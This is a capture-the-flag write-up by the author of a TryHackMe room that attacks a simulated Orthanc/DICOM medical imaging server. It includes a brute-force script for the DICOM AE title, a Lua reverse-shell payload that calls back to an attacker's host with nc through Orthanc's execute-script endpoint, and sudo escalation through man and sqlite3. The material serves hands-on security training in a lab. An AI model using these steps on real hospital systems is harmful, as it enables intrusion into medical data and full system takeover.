The Hive - TryHackMe Challenge

If you haven’t checked out TryHackMe yet, it’s a fantastic platform for learning cybersecurity through hands-on challenges. The site offers a wide variety of “rooms” — self-contained virtual environments that simulate real-world systems with intentional vulnerabilities. Each room is designed to help you build practical skills by hunting down hidden flags through enumeration, exploitation, and lateral thinking.

What’s especially cool is that the community can contribute their own rooms, which makes for a fun and ever-evolving ecosystem of challenges — and a great way to learn from others.

A while back, I created a room focused on exploiting Kubernetes clusters. More recently, I got inspired again and built a brand-new challenge with a twist: it’s themed around healthcare security, with a little Resident Evil flair for extra atmosphere. 🧬🧟‍♂️

Curious how to beat it? Here's the full write-up:

Reconnaissance

To makes things a bit more convenient, edit your /etc/hosts file, adding a hive.thm entry to save your target IP:

x.x.x.x   hive.thm

First things first, let’s portscan :

nmap -sV -T4 hive.thm -vv
Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-08 01:24 CEST
NSE: Loaded 5 scripts for scanning.
Initiating Ping Scan at 01:24
Scanning hive.thm (x.x.x.x) [2 ports]
Completed Ping Scan at 01:24, 0.06s elapsed (1 total hosts)
Initiating Connect Scan at 01:24
Scanning hive.thm (x.x.x.x) [1000 ports]
Discovered open port 22/tcp on x.x.x.x
Discovered open port 80/tcp on x.x.x.x
Discovered open port 8042/tcp on x.x.x.x
Discovered open port 4242/tcp on x.x.x.x
Completed Connect Scan at 01:24, 0.90s elapsed (1000 total ports)
Initiating Service scan at 01:24
Scanning 4 services on hive.thm (x.x.x.x)
Completed Service scan at 01:24, 21.58s elapsed (4 services on 1 host)
NSE: Script scanning x.x.x.x
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:24
Completed NSE at 01:24, 0.00s elapsed
Nmap scan report for hive.thm (x.x.x.x)
Host is up, received syn-ack (0.067s latency).
Scanned at 2022-08-08 01:24:27 CEST for 23s
Not shown: 996 closed ports
Reason: 996 conn-refused
PORT     STATE SERVICE         REASON  VERSION
22/tcp   open  ssh             syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            syn-ack SimpleHTTPServer 0.6 (Python 3.5.2)
4242/tcp open  vrml-multi-use? syn-ack
8042/tcp open  nagios-nsca     syn-ack Nagios NSCA
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

On port 80, we get an assignment from the Red queen.

(I used Kdenlive to put this together — it took some time to get the hang of it, but I had a lot of fun along the way 😂)

It contains a hint to find something that seems to be a password 😈

Then we get two other ports :

  • 8042: another webserver

  • 4242: a tcp endpoint

Let’s learn a bit more about the webserver:

curl -vvv -L http://hive.thm:8042/
*   Trying x.x.x.x:8042...
* TCP_NODELAY set
* Connected to hive.thm (x.x.x.x) port 8042 (#0)
> GET / HTTP/1.1
> Host: hive.thm:8042
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Connection: keep-alive
< Keep-Alive: timeout=1
< WWW-Authenticate: Basic realm="Orthanc Secure Area"
< Content-Length: 0
<
* Connection #0 to host hive.thm left intact

So it appears to be an Orthanc server protected by HTTP basic auth.

It probably exposes a port for DICOM.

The following nmap script can help us learn more about it: https://nmap.org/nsedoc/scripts/dicom-ping.html

nmap --script=dicom-ping -T4 hive.thm -vv
Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-08 01:51 CEST
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:51
Completed NSE at 01:51, 0.00s elapsed
Initiating Ping Scan at 01:51
Scanning hive.thm (x.x.x.x) [2 ports]
Completed Ping Scan at 01:51, 0.06s elapsed (1 total hosts)
Initiating Connect Scan at 01:51
Scanning hive.thm (x.x.x.x) [1000 ports]
Discovered open port 80/tcp on x.x.x.x
Discovered open port 22/tcp on x.x.x.x
Discovered open port 8042/tcp on x.x.x.x
Discovered open port 4242/tcp on x.x.x.x
Completed Connect Scan at 01:51, 0.99s elapsed (1000 total ports)
NSE: Script scanning 10.10.99.46.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:51
Completed NSE at 01:51, 0.12s elapsed
Nmap scan report for hive.thm (x.x.x.x)
Host is up, received syn-ack (0.075s latency).
Scanned at 2022-08-08 01:51:27 CEST for 1s
Not shown: 996 closed ports
Reason: 996 conn-refused
PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack
80/tcp   open  http     syn-ack
4242/tcp open  dicom    syn-ack
| dicom-ping:
|   dicom: DICOM Service Provider discovered!
|_  config: Called AET check enabled
8042/tcp open  fs-agent syn-ack

So port 4242 is indeed a DICOM endpoint.

We can also try to probe it using dcmtk, it’s a toolkit that contains many programs to work with DICOM, including the following echoscu.

echoscu hive.thm 4242
F: Association Rejected:
F: Result: Rejected Permanent, Source: Service User
F: Reason: Called AE Title Not Recognized

Bruteforcing

Both nmap and echoscu show that there is a check on the Called AET and we don’t know it. So… let’s try to bruteforce it!

nmap proposes a script to bruteforce an AET but it was so slow for me that I decided to write my own program.

#!/bin/bash
while read p; do
    echoscu -aec $p hive.thm 4242 > /dev/null 2>&1
    if [ $? -eq 0 ]; then
        echo AET FOUND $p
        break
    else
        echo invalid aet $p
    fi
done < wordlists/rockyou.txt

Or if you prefer using python:

from pynetdicom import AE
from pynetdicom.sop_class import Verification

ae = AE(ae_title='local')
ae.add_requested_context(Verification)

orthanc_host = "hive.thm"
orthanc_port = 4242

with open('wordlists/rockyou.txt') as wordlist:
    for line in wordlist:
        assoc = ae.associate(orthanc_host, orthanc_port, ae_title=line.strip())
        if assoc.is_established:
            assoc.release()
            print(f'AET FOUND: {line.strip()}')
            break
        else:
            print(f'Invalid AET: {line.strip()}')

Using the rockyou wordlist, we manage to find the AET pretty quickly.

Using DICOM

Now that we know the called AET, we can start interacting with the DICOM server.

findscu and getscu from dcmtk can be used to do it, first by listing patients and then by downloading a patient’s study.

findscu -aec shadow -P -k "0008,0052=PATIENT"  -k "0010,0020=" hive.thm 4242
getscu -aec shadow -k "0008,0052=PATIENT" -k "0010,0020=MARCUS" hive.thm 4242

But I think it’s much easier to do it with weasis.

In weasis, configure a DICOM node with the AE title found earlier:

Then search and import studies from the PACS in “DICOM Query/Retrieve”:

We can now look at the study, slices of a human skull. In one of the last slices, a password is visible.(blurred here)

We can now log into orthanc using marcus account with the password we just found!

Remote code execution

Orthanc exposes a REST API that has a very insteresting endpoint.

Let’s try to get a shell.

Locally, run nc -l -p 4242 to listen for TCP traffic.

And send our reverse shell payload through the execute-script endpoint.

payload.lua:

local handle = io.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_LOCAL_IP 4242 >/tmp/f")
local result = handle:read("*a")
handle:close()
print(result)
curl -u marcus:xxxxxxxx http://hive.thm:8042/tools/execute-script -X POST -d @payload.lua

And it worked, we have a shell!

Privilege escalation

First, let’s stabilize the shell:

python3 -c "import pty; pty.spawn('/bin/bash')"

Who are we?

marcus@hive:/$ whoami
whoami
marcus

Looking into marcus home directory, we find the first flag!

What can we do?

marcus@hive:/$ sudo -l
sudo -l
Matching Defaults entries for marcus on hive.thm:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marcus may run the following commands on hive.thm:
    (isaacs) NOPASSWD: /usr/bin/man

So we can execute the manual as another user and inside the manual we can get another shell:

$ sudo -u isaacs /usr/bin/man man
!/bin/sh

Did it work?

$ whoami
whoami
isaacs

It did!

What can we do now?

$ sudo -l
sudo -l
Matching Defaults entries for isaacs on hive.thm:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User isaacs may run the following commands on hive.thm:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/sqlite3

Executing sqlite3 as root. Let’s get another (again!) shell:

sudo sqlite3 /dev/null '.shell /bin/sh'
# whoami
whoami
root

And we’re root, final flag is in root’s home directory.

That’s it! I hope you enjoyed the challenge and that DICOM hasn’t been too painful if you just learnt about it!

0
Subscribe to my newsletter

Read articles from Thibaut Tauveron directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Thibaut Tauveron
Thibaut Tauveron

👋 Hi, I’m a cloud engineer and cybersecurity enthusiast based in Zürich. I’ve worn many hats over the years—developer, DevOps consultant, SRE, cloud architect—and what ties it all together is a passion for building secure, scalable systems that just work. I write about cloud infrastructure, DevSecOps, and anything that helps teams move faster without breaking things. I believe in automation, simplicity, and sharing knowledge—whether through blog posts, open source, or mentoring.